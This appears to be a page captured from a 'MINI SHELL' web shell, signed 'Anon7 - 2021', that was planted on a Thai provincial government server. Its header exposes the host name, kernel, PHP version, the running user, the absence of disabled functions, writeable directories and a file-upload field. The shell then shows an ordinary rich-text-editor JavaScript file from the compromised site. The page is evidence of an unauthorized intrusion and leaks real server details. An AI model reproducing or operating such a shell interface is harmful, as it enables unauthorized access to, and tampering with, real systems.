MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/common/text_editor/libary/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/common/text_editor/libary/txt_editControl.js
function button_over(eButton)	{
	eButton.style.backgroundColor = "#ffff99"
	eButton.style.borderColor = "darkblue darkblue darkblue darkblue"
}

function button_out(eButton) {
	eButton.style.backgroundColor = ""
	eButton.style.borderColor = ""
}

function button_down(eButton) {
	idContent.focus();
	eButton.style.backgroundColor = "#ff3300"
	eButton.style.borderColor = "darkblue darkblue darkblue darkblue"
}

function button_up(eButton) {
	eButton.style.backgroundColor = "#ff9900"
	eButton.style.borderColor = "darkblue darkblue darkblue darkblue"
	eButton = null; 
}

function document.onreadystatechange() {
   //idContent.document.designMode="On";
}

function cmdExec(cmd,opt) {
  	idContent.document.execCommand(cmd,"",opt);
	idContent.focus();
}

function foreColor()	{
	var arr = showModalDialog("../libary/selcolor.html?bgcolor=","","font-family:'tahoma'; font-size:10pt; dialogWidth:156px; dialogHeight:150px;" );
	if (arr != null) cmdExec("ForeColor",arr);		
}


function addImage() {
	imagePath = prompt('Enter Image URL:', 'http://');				
	if ((imagePath != null) && (imagePath != "")) {
		cmdExec('InsertImage', imagePath);
	}
}


function insertEmotion(emo) {
	idContent.focus();
	cmdExec("InsertImage","../../text_editor/images/txt_edit/" + emo  + ".gif");
}

Anon7 - 2021